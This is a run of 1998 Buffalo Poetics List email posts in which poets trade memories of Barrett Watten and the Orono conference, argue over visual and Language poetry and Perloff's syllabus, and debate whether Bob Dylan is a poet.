Ron: At the risk of making too much out of the letter "A" (that's a little joke referring back to an old thread I remember), I thought I would point out (since the error was repeated in two posts subsequent to yours) that it is "Guantanamera" and not Guantanamero". I think you might have been thinking about

Guantanamo, where, believe it or not, a Ron Silliman-admiring-brother-of-a-friend-of-mine is stationed. He is a naval mechanic of some sort, so the New Sentence and Tjanting (I know this for a fact) is present on occupied Cuban soil!

Mark: I know what you mean about Barrett Watten seeming "icy" and "cold". I was with him in what was then Leningrad, and he was, from a personal perspective, the epitome of that. (Ron, Lyn, and Michael were very nice, but Barrett was very not, at least toward me). Why do I point this out? Partly because I've long wanted to have the occasion for saying that it has always struck me as really strange that the detailed, journal-like chattiness of _Leningrad_ (authored by Barrett, Ron, Lyn, and Michael) makes not a single mention that there were three other Americanski's there at the conference with them, who rode on the tour bus with them, ate lunch with them, walked around Leningrad with them, talked to them, changed dollars for rubles on the black market with them, drank with the same KGB agent with them, and so on. I mean talk about getting air-brushed out of the picture! Couldn't they have just said Kent, Ellen, and Steve just once?

The above, of course, is one of the weirdest, most petty notes ever posted to list, but it does add a small piece of trivia to the ever expanding canonization of Language poetry, doesn't it? Remember, historians, the authors of _Leningrad_ just couldn't share the glory of being in the dying Soviet Union with any other gringos!

But on Barrett, I won't leave it at that: I saw him again a few years back at Orono, and he actually came up to me and said hello, how are you. I asked him where the registration table was and he even smiled and said, it's over there, through those doors. He was very nice, and later, in the evening of that day, he read (along with Allen Ginsberg, Charles Bernstein, David Bromige, and Joan Retallack), and I remember he seemed jsut a bit self-conscious and vulnerable before he began, though maybe that was just my impression. I thought it was the best reading (Ginsberg gave more of a talk) because Charles talked too fast, Joan was too imperious, and David obviously thought he was smarter and more clever than everyone present, and I remember that his attitude really bothered me. Barrett read a couple of long poems that were different than anything I had ever heard. They were prose pieces, one about female foxes underneath his house, and the other about him and Diane Ward at a difficult time and about something bad that happened to him. Those poems were different because they were both distant and cold _and_ deeply, almost embarrassingly, personal. Go figure.

That's the report on the reading in Orono in 1992. But seriously, I keep reading those poems and I think they are brilliant. Watten is, even though he conspired

to air-brush me out of the picture, a great poet, no question. I hope I see him again sometime and can ask him why he was such an asshole in Leningrad.

Miekal: You make some interesting and thought-provoking points, but isn't it better for "visual poetry" to remain something akin to that isolated mountain village you mention in the country of Georgia? Isn't that part of the spirit of the movement and of the value of the work? Stay there, then, a hundred miles from the nearest university.

Kent

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396. david bromige
(antilangpo?) stunned. very stunned. (ringo)
Wed 14 Jan 1998

Susan Dunn's posting (with its pzzaz-filled title! congrats) has much to chew on, but I'm amazed she finds the tenor of this List anti-LANGPO. It has always struck me as most pro-LANGPO, with the exceptions _really_ noticeable for their rarity-value. I speak as a highly pro-LANGPO person, whose riff a few weeks back abt Langpo having quit the planet to pace the heavens o'erhead meant only that it's time for beginning poets to claim some further i.d., because to use langpo devices or stance today cannot mean anything like what it meant in 1972. Further to this, I didnt expect Bernstein or Andrews or Watten or Silliman to renounce anything, au contraire, I anticipate that each will continue to _develop_ from initial premisses. I just dont think that in 1938 it would have made much sense to call either HD or EP "Imagist". But this was not to be "anti-LANGPO" & if I am the party responsible, Susan, for your impression, I hope this note clears matters up. --I wonder what my fellow listlings think about her impression? Buffalo Poetics List, Jan 1998 : pro-LANGPO, or anti-?

David

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397. Harold Rhenisch
Visual Poetics? Dylan?
Wed 14 Jan 1998

This post is in reply to Bob Grumman and the George Bowering.

First, Bob:

"expressive-of-the-visual"

Express? O, are we making strong coffee?

I for one don't want to express the visual. Grind it up, pound it in, steam it, drink it, scrape the grounds out and throw them away, wondering about banned agricultural chemicals, nerves shaking, smells so good. I'd rather set up little cell phone transmitting stations for it. Pass it on.

I don't think the words are quite right.

Second, George:

I just got a bit of colourful mail, with Dylan's mug on the blue envelope: get 11 CDs free, no cards to return, no automatic shipments!!!!! Looks like I'll have to move a couple little stickers from the envelope to the reply card and buy another 4 selections for regular prices (from $15.98), though.

Just imagine, the tables turned: George Bowering on the envelope in blue ink, looking pretty good, no automatic shipments, 11 free books of poetry, and just buy another 4 selections as explained in the material that came in the envelope with this brochure.

Teenage kids spending their McMoney on it, not even looking at the Dylan CDs in the back section of the local chain music store, stocking, as it does, reprints of Percy Faith and his musical heirs and heiresses.

Thing is, would Dylan buy his 4 selections for regular prices in the next 2 years?

Cheers, all!

--Harold Rhenisch

[redacted]

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398. **Don Byrd**

Strange,Ron, how we got to be the old guys

Wed 14 Jan 1998

I remember 20 years ago or so, Ron Silliman and I had a wonderful evening sitting at my kitchen table. We were in our early thirties. Now we are among the grey-beards of the Poetics List. This happens at a dizzying rate.

If you have been paying attention, you realize you have reached middle age not because your bones creak, which they do, but because you know that you will never find another book or work or art that seems truly strange.

When I was 16 or so, I saw _La Dolce Vita_ and about the same time Seymour Krim's mass-market anthology _The Beats_ somehow came into my hands. These made me a strangeness junky. There was a poem in anthology, very strange, Dan Proper's "The Fable of the Final Hour." Does any one know what

happened to Dan Proper, or for that matter who he was? As far as I know that one poem is the only thing of his I ever saw.

I can remember when Jackson Pollock, Franz Kline, Ornette Coleman, and John Coltrane were strange. John Cage was strange. Olson, Duncan, Ashbery, O'Hara, and Dorn were strange. Clark Coolidge and Bob Grenier were strange. Chuck Stein and George Quasha's sound poetry was strange. The art from New Guinea in the Rockefeller Collection at the Met was strange. This gets me up to the 70s (I was 30 in 74). Since then there have not been many surprises. Those New Guinea people knocked me out. Talking about an avant-garde. A few ideas were strange: Eric Drexler's book on nanotechnology was strikingly odd. I had big hopes for hypertext, but it has yet to produce much of interest.

It's not as exciting, but it is a relief. You can begin to pay attention to things that humans have always paid attention to. In this connection, it seems to me the most important book of 1997 was John Clarke's _In the Analogy_. It's a big, baffling, posthumous book like Emily Dickinson's collected poems. It's hard to make much of most of it the first time and perhaps the second time you read it. You need to read _From Feathers to Iron_, and it helps to go through all of the issues of _Intent_, and then you need to read most of the books that mentioned in those places as well as in _The Curriculum of the Soul_.... You will need to read Blake, Melville, and Novalis again, if you have read them once, to read them with Clarke's eyes. It is a great education, and you begin to understand the depth and seriousness of the calling of the poet. You will begin to see what language can do, if you put enough pressure on it.

No matter who you are or where you are
in the world, no matter how much money
you have or how many hostages taken,
no matter what luxury and/oremergency
you're in, when you pick up the phone
you hear the same dial tone I hear
right here tonihgt, so who needs Death
to level us all out, is his voice more
common than the one we've known almost
as long, "whatcha doin?" You can hire
someone to push the buttons for you
so you never have to listen, but just
the same, isn't it better to bear this
unflaggin drone than her obscure echo?

****

Don Byrd ([redacted], [redacted])
Department of English

State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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399. david bromige
strange. very strange.
Wed 14 Jan 1998

As a third graybeard, I second Don Byrd's firstrate rap re-zero-degree art at 16. That stage was like the moment of learning to read all over again. I have my own fave fetish-memories from that other life when I was alive (as alice ordered me to be said).

But more pressing info : Dan Proper was (still is?) living nearby me in Sonoma County for some years, one of a number of readers at one event I attended. As a writer, & indeed a human being, he shared something with Wm Faulkner, E Hemingway and Chas Bukowski. Where he is today, I can maybe find out.

As for Bob Grenier, I was with him just 3 days since, and am happy to report that both in his art and his person, he continues to embody super-attractive homespun ostrananie.

David "Ingmar" Bergman

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400. Bob Grumman
Re: Whose Visual Poetics? Verbal or visual?
Wed 14 Jan 1998

This is a multi-part message in MIME format.

Hi, Wm B

When I say that "for me a mathematical poem is a poem that DOES math, not one that merely discusses something mathematical,: I mean what I'm saying pretty literally. For instance, in my own practice, I often subject words (verbalized images, really) to long division, which entails division/multiplication and addition/subtraction. A silly off-the-cuff example would be to divide robins into spring, and get an "answer" (or quotient) of rain. If rain times robins doesn't exactly equal spring, you'll get a remainder. Actually, this is close to one or two of my mathematical poems--mathemaku, I call them. I'm pretty Cummingsesque. In another mathemaku I use a negative one as an exponent for the

sun, I think, and the reader must imagine the reciprocal of the sun--do the math required by the exponent. In short, the poem IS math, not about math. It is, as you have it, "performing/enacting the thing, rather than talking about it"--and I agree with you that there's nothing wrong with talking about--I've read sever poems about math that I liked a lot.

In my characterization of the math-poem process, I guess you do "run into the abstract immediately"--except that I viscerally feel the operation being carried out. What I'm trying for is a mixture of the abstract and concrete, the images acting as mathematical values being the concrete, the math operation they're subjected, the abstract. I hope for a tension between the two, among other things.

I hope I've answered your question. In any event, thanks for giving me an excuse to rattle on about my math poems--which, by the way, are mostly not visual poems. (There's one on the home page of my poetry website, Comprepoetica, with a link to an explanation of it.)

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

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401. Bob Grumman

Re: vizpo, langpo & the zimmerman conference

Wed 14 Jan 1998

To Susan E. Dunn:

1. I'm glad Charles Bernstein's reading was successful. Hurrah for poetry readings!

2. I don't think my disappointment, which was not an attack, at the choice of poet for the reading, or--later--Marjorie Perloff's syllabus was petty. A whole precinct of poets seems to be being systematically excluded from even a toe into academic recognition.

3. Yes, I was more or less asking "How come MP isn't doing enough for ME?" Except that I was truly more interested in how come MP wasn't doing ANYTHING for MY main community of poets. I still am.

4. Some people on this list don't like language poetry, though exactly what it is, is not too clear. I didn't use the term in any negative way. I've published

several language poets, and even done a few poems I consider language poems. Coolidge, Inman, Grenier are among current poets I highly regard, and more than a few of the people insome of

> *2. LANGPO*
> *I'm interested in why "language poet" seems to be a pejorative term on this list.*
>
> *3. ZIMCO*
> *I too found it depressing that more people wrote in about bob dylan than have regarding recent books of poetry. As for what Charles Bernstein called, "the STanford Zimmerman conference," It is not surprising but it is sad that this is the only event I've worked on that the national--and international-- press has taken an interest in. But with billion dollar corporations involved in making lots of money off of cd sales, etc. the stakes are different. Talk about a CANONIZED writer! Nonetheless, I'm really looking forward to what Aldon has to say, and granted Dylan's important although he doesn't speak to me (except to say "change the station away from this adult contemporary baby boomer big chill nostalgia crap") I'd rather hear Beck. Or even Bowie. (Or Bernstein!)*
>
> *----------*
> *Susan E. Dunn, Ph.D.*
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> *email:* [redacted]
> *www: http://shc.stanford.edu*
> *----------*

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402. **Bob Grumman**

Re: vizpo, langpo & the zimmerman conference

Wed 14 Jan 1998

I don't know what happened but as I was typing my computer transmitted what I was typing. Apologies. I have a cat on my monitor. I'm sure she did something. Anyway, here's a second, no, THIRD try to, Susan E. Dunn, as I mailed my second try to myself:

1. I'm glad Charles Bernstein's reading was successful. Hurrah for poetry readings!

2. I don't think my disappointment, which was not an attack, at the choice of poet for the reading, or--later--Marjorie Perloff's syllabus, was petty. A whole precinct of poets seems to be getting systematically blocked from even the smallest academic recognition.

3. Yes, in the letter in which I started this little ruckus, I was more or less asking "How come MP isn't doing enough for ME?" Except that I was truly more interested in how come MP wasn't doing ANYTHING for MY main community of poets. I still am.

4. Some people on this list don't like language poetry, though exactly what it is, is not too clear. I didn't use the term in any negative way. My basic attitude is Hurrah for poetry of any kind--just please don't wholly ignore my particular kinds. I don't find Perloff doing much more for visual poetry than Vendler has done for language poetry, and it's sad.

5. I'm not a Dylan fan, or much interested in pop music, so have nothing to say about the last part of Dunn's letter.

--Bob G.

↑ Index

403. David Kellogg

Re: Barrett, William, Jordan, Ron, Mark, Lyn, Michael, Allen, Joan,

Wed 14 Jan 1998

Kent, I met Barrett for the first time at the subsequent Orono conference (1996) and had a very different experience. We tended to get drunk (at least I was drunk) and argue about the Rosenbergs with Marjorie Perloff. I found everybody concerned pretty affable.

Cheers,
David
~~~
~~~

404. louis stroffolino

Re: LOOSE SUGAR 2nite in my tea

Thu 15 Jan 1998

Well, yeah, i had a similar response to hillman--found it more engaging than graham and her "hubby" hass (still remembering fondly that excellant critique of hass by joe wenderoth in an apr last year---oh no, hey does anybody know the email address for the CAP-L list? where some of these names might mean more; i won't send you a free copy of LIGHT AS A FETTER but maybe a discounted one)--so where was i? Oh yeah Hillman's book has these great moments DESPITE its terrible title....

So, I also wanna plug a book that came out last year not by me..... SCENE OF THE CRIME by Jane Ransom. Her work might be of interest to many on the list, though she has not circulated highly in such circles. I became aware of it courtesy of GENERATOR magazine Dissembling issue several years back and it's knock out wild feminist punny theory ridden (but worn so lightly) dense but oral somehow and daringly " sloppy" enough to get a rise out of those who love to be hit on the head with a bad joke that rebukes one's smugness---and it's very fast .One of my many new year's resolutions is to write a review of it, but maybe this will have more of an effect. Ransom also published a very weird novel this year called BYE BYE. Chris

On Tue, 13 Jan 1998, pritchpa wrote:

> *Important recent books for me have been:*
>
> *Stepping Razor - Aldon Nielsen*
> *il cuore: the heart - Kathleen Fraser*
> *Prosepct of Release - Tom Mandel*
>
> *I'm intrigued by Brenda Hillman's _Loose Sugar_, and would be interested in others' response to this work. I've only had it a couple of days, but so far am struck by the way she has opened up her work to more experimental techniques while retaining a backbone of more traditional narrative. I find the way she's gone at this more appealing - and far less pretentious - than the way Jorie Graham has.*
>
> *Patrick Pritchett*
> ---
> *From: Don Byrd*
> *To:* [redacted]
> *Subject: Dylan*
> *Date: Tuesday, January 13, 1998 1:18PM*
>
> *Isn't it curious that we have extended discussions of Dylan's album, but rarely, if ever, a comparable discussion of a new*

> *book of*
> *poetry. I wonder if there is a book of poetry, published in the last year,*
> *that five people on the list have read.*

↑ Index

405. Tom Mandel
from another era....
Thu 15 Jan 1998

My father-in-law (82) remembers singing the national anthem in school:

"...Babe Ruth through the night...."

I like that. It makes you worry less about prayer in the schools.

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

↑ Index

406. Thomas Bell
Re: vizpo, langpo & a fit of nostalgia
Thu 15 Jan 1998

As a non member of the academy or poetry I have been somewhat bemused by the recent flurry here. I could see the same scenario taking place 30 years ago with different actors, which led to this fit of nostalgia:

Was it 30 years ago? Resisting in my mind as melancholy remodels my mind as green splendors the turf'n'surf, I still feel the obviously cheaper paper of the black and lonely book made in maybe Great Brittan never checked out maybe never to be. Ordered by mistake, a rebellious librarian in a rural and minor branch (2 small city blocks then now with an international rep) of a Big Ten, or as part of a job lot. Not part of anyone's curriculum. We were lucky to be allowed some Emily, some fresh air. CONCRETE (Heavy!) then was it Borys or some other foreign name the names The names were all foreign then to us. Joe McCarthy's spirit was still alive in this land. War (or notWar) to come and what was to come was still to come.

Shelved next to heavy and obviously complete and authoritative _Classics of World Literature_, two books on that shelf. What is this stuff? it will blow my teacher's mind we talked that way then. Not lined up - like a drawing almost. This is different this is new.

```
      A
    A   A
  A   A   A
A           A
```

- "This is a poem? Where is...?"

tom bell [redacted]

↑ Index

407. david bromige

kent's memory

Thu 15 Jan 1998

---

i really dont think i am cleverer than kent, but i think i have a better memory than he does. it was not ginsberg who read with barry, joan, charles, and me, but bob perelman. And i was helped in my reading by peter quartermain. And maybe there were female foxes in what barry read, but i recall the piece he read as being about his area code changing from 415 to 510. And it wasnt 1992, kent, it was 1993. Btw, sorry i havent responded to you yet about the yasusada book. Xmas intervened, and i had to hide everything from the relatives. I know i must be pretty hard to take, but if i write a book abt being on e-mail, i'll be sure that you're in it. david

↑ Index

408. Miekal And

Re: Whose Visual Poetics? Abraham Lincoln Gillespie (1895-1950)

Thu 15 Jan 1998

Bern Porter who I contend, is one of the most overlooked experimental presences in 20th century lit & the originator of found poetry feels that Abraham Lincoln Gillespie has never gotten a fair read, & most often Gillespie has been discounted as a Joyce imitator. In this writing he both demonstates how & proposes that typographical space be animated & multidimensionified.

READIEVICES

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from The Syntactic Revolution by Abraham Lincoln Gillespie, edited by Richard Milanzzo, Out of London Press, 1980. Project originally started by Dick Higgins & Something Else Press

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LOGOKONS BY Miekal And
http://www.net22.com/qazingulaza/joglars/logokon/logodex.html

↑ Index

409. henry gould

Re: Strange,Ron, how we got to be the old guys

Thu 15 Jan 1998

On Wed, 14 Jan 1998 15:22:48 -0800 Don Byrd said:
>O'Hara, and Dorn were strange. Clark Coolidge and Bob Grenier were strange.
>Chuck Stein and George Quasha's sound poetry was strange. The art from New
>Guinea in the Rockefeller Collection at the Met was strange. This gets me up >to
>the 70s

When I was a youngster, those people were still strange too. But none of them were as strange as my friends from high school. I think that probably goes for

other people on this list. Experience is often an antidote to art-fetishism. - Henry Gould

↑ Index

410. **Alan Myouka Sondheim**
Re: Strange,Ron, how we got to be the old guys
Thu 15 Jan 1998

---

not ever ever true!

Good grief!

Alan - it gets stranger!

URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR with other pages at: http://www.anu.edu.au/english/internet_txt IMAGES: http://www.cs.unca.edu/~davidson/pix/

On Wed, 14 Jan 1998, Lawrence Upton. wrote:

> *If you have been paying attention, you realize you have reached middle age not because your bones creak, which they do, but because you know that you will never find another book or work or art that seems truly strange.*

↑ Index

411. **Bob Grumman**
Re: Whose Visual Poetics?
Thu 15 Jan 1998

Hi, Danny:

I hate to sound condescending but while I'm sure your suggestion that "the Visual Poetics community . . . organize readings/lectures/ performances/shows to complement (Marjorie Perloff's) course and to compensate for perceived weaknesses/biases in her syllabus" is well-intentioned, it's a little naive. First off, Dr. Perloff's show is already running. Second, the community I've been talking about (I'd call it the community of unrecognized visual poets rather than THE visual POETICS community, which shows you how nit-picking I can be), is scattered and unwealthy. It'd be very hard, whatever the energy available, to throw together ANY reasonably representative vispo reading ANYwhere in the country. The only recent one of any magnitude was the one in Edmonton, which had money troubles though backed by a university department. Even putting together a representative anthology of vispo has proved so far too much for us. The real problem seems to be that we're a community of artists, not a community of academics. Our minds aren't geared to career-lane functioning.

Finally, inasmuch as Dr. Perloff has left all material published by the people in our group off even her list of recommended publications, I rather doubt that she'd encourage attendance at any reading series we could put together. I suppose she'd have to mention it, as she has been said to have mentioned some of the websites our group has work at, though not the main one, Light & Dust, but more than that . . . well, I'm still awaiting evidence of any real openness on her part to our group.

--Bob G.

↑ Index

412. Bob Grumman
Re: Visual Poetics
Thu 15 Jan 1998

Harold, you lost me on this one. I was using "expressive-of-the-visual" (admittedly awkward) to describe textual poems that vividly bring to life some visual image or scene. The point was to distinguish them from visual poems. Such poems are not visual but ABOUT the visual. I don't see what whether you want to express the visual or not has anything to do with it. I also continue to feel bewildered about the hostility the word "express" occasions. I guess a lot of people (me, for one) don't think much of poetry-as-self-expression, but that's SELF-expression, not expression. All poetry has words (at least in my taxonomy), and all words express. Ergo, all poetry is expressive.

--Bob G.

↑ Index

413. KENT JOHNSON
Re: kent's memory
Thu 15 Jan 1998

David K: Just to be clear, I don't think anymore that Barrett is a bad guy. He just struck me that way in Leningrad, but now I think he is probably a _good_ guy! And I also think he's an _important_ poet, even if I can't understand him most of the time. It would have been nice to get drunk with you and Barrett and Marjorie sometime, but now I don't drink anymore, so there's no longer any reason to go to conferences! But I doubt if any of this matters, beyond Ron's interesting confusion of Guantanamera and Guantanamo, which more or less proves the whole argument from Sauserre to Derrida!

David B: Well, I was just kidding, sort of. Sort of, because, actually, I honestly do think you are smarter and cleverer than I. This pisses me off, so I was just blowing off a little steam. However, maybe you will get older faster than I will

and your memory will deteriorate beyond the already sad condition of my own! I certainly hope so! Please do write that book on e-mail with my name in it before this happens!

Kent

> *i really dont think i am cleverer than kent, but i think i have a better memory than he does. it was not ginsberg who read with barry, joan, charles, and me, but bob perelman. And i was helped in my reading by peter quartermain. And maybe there were female foxes in what barry read, but i recall the piece he read as being about his area code changing from 415 to 510. And it wasnt 1992, kent, it was 1993. Btw, sorry i havent responded to you yet about the yasusada book. Xmas intervened, and i had to hide everything from the relatives. I know i must be pretty hard to take, but if i write a book abt being on e-mail, i'll be sure that you're in it. david*

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414. Jordan Davis
Rubber takes a beating
Thu 15 Jan 1998

Kent --

I'm sorry, I don't understand your reference.

POETICS --

A young writer I know is interested in the uses of collage and found language in American poetry. My line with him has been that these are cinematic uses, and that the impulse to edit the landscape is not restricted to language art. He says maybe people just don't know that it's fun to make things up. What do you think? Rob Fitterman's got a poem that remixes a gift basket catalogue; every time I hear it I get edgy at the salesspeak until Rob comes to his refrain: "Net Wt 4 lbs" -- I hear a mental rhyme with "Raid Kills Bugs Dead", but that's not the only reason it cheers me. What do you think the other reason is?

-- Evoc Nomrah

↑ Index

415. Miekal And
Whose Visual Poetics? Post Millenium Netizens
Thu 15 Jan 1998

DANIEL L. COLLIER wrote:
>
> One suggestion on the Perloff class controversy: maybe

> someone from the Visual Poetics community could organize
> readings/lectures/performances/shows to compliment her
> course and to compensate for perceived weaknesses/biases in
> her syllabus. This would take a good bit of energy on
> someone's part, but judging by the discussions we're having
> there's no lack of energy on the Visual Poetics scene.
>
> I'm sure Dr. Perloff would encourage her students to attend.

I believe the reason you see so much energy on this list is many of the poets/publishers of the visual poetry world have placed as much emphasis in creating community, networking across all boundaries, widening access, treating all media whether its a tape recorder, a copier or a computer as more bandwidth, more cracks for the new & unaccepted to flourish like weeds in the urban landscape. The movement of international visual poetries is participatory & on many levels unmediated by the regimes of academia. It invites marjorie & her students to become participants in a visual / virtual universe, show their work in mail art shows, post works to websites, interact with the wr-eye-tings email list, exchange & collaborate on works via mail. & since myself & others are half-a continent away, exchanges via internet geared toward designing a truly interactive online hyperculture have a decent chance to evolve toward a supportive decentralized learning for everyone.

Miekal

bluebearded zaumnik

Sustaining the Hyperculture: toward an ecology of information
http://net22.com/qazingulaza/sustaining/sustaining.html

↑ Index

416. Tom Mandel
forging and feel?
Thu 15 Jan 1998

RE: Hank's

"I suspect that Tom may be doing it with cavity backs or with blades, but that's his own business.... (I use blades.)"

I wish I *could* use blades;
(remember their feel from youth)

but I can't handle the toe-
-d/shanked muff's sting

& need wound filaments in my shaft, yet
blades and graphite rarely accord

(in the marketplace I mean)
the real problem tho is added loft

somehow sliding or lifting from below
the solidest stroke a rainmaker

"It's down for up" I understand
if thinking only made it so.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

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417. Michael Coffey
schuster/dylan -Reply
Thu 15 Jan 1998

Since the Bob dylan thread has not broken yet, and we seem to be debating across some generational divide the value of dylan's work, i feel compelled to move into the liststream because this past fall i became excited about some dylan-related things, and these things might put his work in a context that is new to some people. It began with a chance discovery of Greil Marcus's book Invisible Republic, published by Henry Holt. Although the subtitle of the book would suggest it is about a two- or three-month period in 1967 when dylan holed up with members of The Band in a pink house in woodstock and made "The Basement Tapes," it is really another exploration for Marcus into his notion that there is a secret history, or an alternate history that cannot be found in large public events, and that is inscribed, and in some cases necessarily encrypted, in cultural products, like songs. He worked this out somewhat overheatedly in his book Lipstick Traces, published by Harvard UP, which i have since looked at. Marcus, in Invisible Republic, contends that Dylan chafed at being adopted into a anti-war anti-establishment college-based movement. He said to one reviewer, "how do you know i'm against the war?" Those months in Woodstock were a time when Dylan reconnected with an American folk tradition, what Marcus calls a "series of secret handshakes" conducted in "the old weird America."

Marcus is guessing (though he knows dylan well i believe, but dylan is one guy not in the book's acknowlegements) that Dylan renewed himself by sampling the songs of such fellows as Mississippi John Hurt and the Carter Family, Clarence Ashton, Blind Lemon Jefferson and all those people collected on the Harry Smith Antholgy of American Folk Music, which was recently rereleased in a handsome package that includes Smith's inimitable liner notes and a booklet that features one of the Marcus chapters from Invisible Republic. The spirit of Marcus's argument, and dylan corroborated this in a NYtimes interview with Jon Pareles, is that there is a renegade tradition in American music that represents the dispossessed outlawry, the crazed, often inbred nature of some regions not touched by commerce and middleclass aspirations, and that many many Americans respond to this whether they know it or not, in his songs, in the Stones, in the new blues.... and that dylan is more comfortable with this kind of apolitical opposition, an American independence born not of a pursuit of happiness or truth but escaping the dicates of a larger cultural expectation.

I like the new dylan album very much. It's tightly put together but it's in a gunny sack of sound. And in one song, the narrator cites his reading of Erica Jong as evidence that he is sensitive to women, so if he is aware of a possible generational divide, he is unbothered by it. It is the irreverent unrepentant dylan at top form, with the great swirling Wurlitzer organ in many of the cuts.

I recommend to anyone to take a look at the Marcus book and read his discussion of the "Folk-Lyric" section of the Smith anthology. This section is full of strange songs like Coo-Coo Bird, and Marcus cites some folk scholars who describe this song form, based in English folk song, as being devoid of narrative strategy or plot, and instead relying upon disorienting images and repititions and disrupting breaks in hearer's expectations, not unlike what someone recently said on this list of Watten.

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418. Miekal And

[Fwd: Re: Whose Visual Poetics?..... What is.....?]

Thu 15 Jan 1998

This is a multi-part message in MIME format.

Cybermind chops wood carries water. The moment continues....

by westbyserver.westby.mwt.net (8.8.7/8.8.6) with SMTP id LAA28028
for <[redacted]>; Thu, 15 Jan 1998 11:47:20 -0600 (CST)
by pop-mail.metronet.de with SMTP; 15 Jan 1998 17:49:19 -0000
Date: Thu, 15 Jan 1998 18:55:49 +0100
From: reiner strasser <[redacted]>
To: Miekal And <[redacted]>

CC: UB Poetics discussion group <[redacted]>,
[redacted]
Subject: Re: Whose Visual Poetics?..... What is.....?
References: <[redacted]>
<[redacted]> <[redacted]> <[redacted]>
<[redacted]>

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http://www.burningpress.org/wreyeting/strasser/what_is/what_is.html

Reiner

----------235845A146AF--

↑ Index

419. Tom Mandel
dylan vs. poetry
Thu 15 Jan 1998

Tho I respect Don Byrd a lot, Dylan vs. "other serious artists" (i.e. poets) doesn't seem to me to be on any target.

Dylan is not a poet. His lyrics, great in their musical contexts, do not support being read either on a page or aloud w/o music. "Sarah," a song I love and whose lyrics, as I said in a previous post, I typed onto my screen, makes no sense at all as a poem. That's ok, it's not meant that way.

Dylan is a song-writer, a musician. Obviously, there are literary influences active but they are adjectival or, better, tonal with respect to the song.

This is an immense and interesting subject -- words/music -- though not as easy to address, perhaps, as the parallel one of "visual poetry."

Too big for me to undertake with a lunch meeting in 90 minutes. But, I'd just point out what happens, for example, to a poem when it's set to music. It is substantially reduced in its language-effect. It immediately becomes something quite different from itself. It can be a great work (recommend song-cycles and settings by Berlioz, Mahler, Milhaud, Poulenc, Lutoslawski, etc.), but you're not getting direct access to any part/place of/in the poem any longer.

"But poetry once *was* a musical art. The Psalms? Sappho?" Oral shape, oral memory are different media from those of writing. Once you could write down thoughts, everything changed. Poetry changed.

But, that's obvious -- or at least known. There's a lot more to investigate that I haven't got time even to adumbrate here.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

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420. Tom Mandel
schuster/dylan
Thu 15 Jan 1998

Josh Schuster's post on the new dylan album confirmed my own sense
that it'd be hard to zero in on for anyone not Dylan's age.
"Adult contemporary" indeed. It's *not* about the future
it's about the past and about waste. How interesting
can that be for someone for whom it's an idea only?

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]

****
Join the Caucus Conversation

↑ Index

421. KENT JOHNSON
Evil Foster/Postmodern Culture
Thu 15 Jan 1998

Since no one has responded to Joshua Schuster's description yesterday of Ed Foster as "evil", does this mean that there is a consensus on this list that he is? Personally, I think Talisman is a great magazine, so I'm wondering. Is it run by a bad person?

Also, wondering if it's been mentioned that there is a neat review of Poetics List up at Postmodern Culture, with our list compared (favorably) to the Academy of American Poets site. I think this is the last "free" issue of PmC, so those who haven't might want to check it out.

Kent

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422. Kasey Silem Mohammad Hicks
Re: dylan vs. poetry
Thu 15 Jan 1998

Tom Mandel wrote:

> *Too big for me to undertake with a lunch meeting in 90 minutes. But, I'd just point out what happens, for example, to a poem when it's set to music. It is substantially reduced in its language-effect. It immediately becomes something quite different from itself. It can be a great work (recommend song-cycles and settings by Berlioz, Mahler, Milhaud, Poulenc, Lutoslawski, etc.), but you're not getting direct access to any part/place of/in the poem any longer.*
>
> *"But poetry once *was* a musical art. The Psalms? Sappho?" Oral shape, oral memory are different media from those of writing. Once you could write down thoughts, everything changed. Poetry changed.*

But we don't need to go back to an idealized oral antiquity to supply examples of poetical-musical compatibility. What about Elizabethan ballads, Blake, even Ginsberg? One could argue that "poems" like "Come Live with Me and Be My Love" or "When to Her Lute Corrina Sings" are "substantially reduced" in their "language-effect" precisely because of being _removed_ from their musical settings, as they are in their Nortonized fossil-existences. I'm not sure, however, that one wants to go there in either case, as what happens is one ends up

committed to a principle of preservation of the originary moment of creation, with all that baggage of intention and other bugbears.

My main point, I suppose, is that "direct access" is a problem no matter what; if being set to music closes off certain (imagined?) points of entry into a poem, so does a shift from manuscript to type, or from one printed format to another, or from being read silently to being read aloud, or from being read on Tuesday to being read on Friday. Conversely, a musical context might open up latent areas of signification unavailable on purely textual reading. A friend of mine picked up his guitar one day and belted out an impromptu country-western rendition of "Do Not Go Gentle into that Good Night"--the printed version has seemed flat to me ever since. And of course, there's the old observation that you can sing the beginning to _Paradise Lost_ to the tune of the _Flintstones_ theme. This kind of backwards historical contamination operates, albeit in less violent degrees, on much of what we read, hear, etc.

imagine what revisions, thitherto undreaded, might emerge from an '80s-style West-coast hardcore version of "The Love Song of J. Alfred Prufrock," or a polka treatment of Bob Perelman's "Chronic Meanings."

Um, Bob Dylan: he's that old guy, right?

Kasey Hicks

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423. KENT JOHNSON
Evil Sourmash
Thu 15 Jan 1998

I'm sorry! I now see that the evil one is _Hal_ Foster and not _Ed_. The sauce has messed-up my vision along with my memory. By the way, David, what "yasu-sada book" are you talking about?

Kent

↑ Index

424. david bromige
kent not drunk last night
Thu 15 Jan 1998

I had accounted for kent's "let-em-have-it-on-all-sides" note by supposing he'd been at the sourmash, so it was disconcerting to learn he's on the wagon.I had also thought--since he'd put ginsberg _in_ the picture, & left perelman _out_ of it--that the poet at that group reading at Orono in 93 whom he recalls as acting smarter than everyone else, was not me but actually bob perelman. I thought

this because I didnt want to be described that way and figured bob would be an acceptable substitute, since he is smarter and cleverer than me.

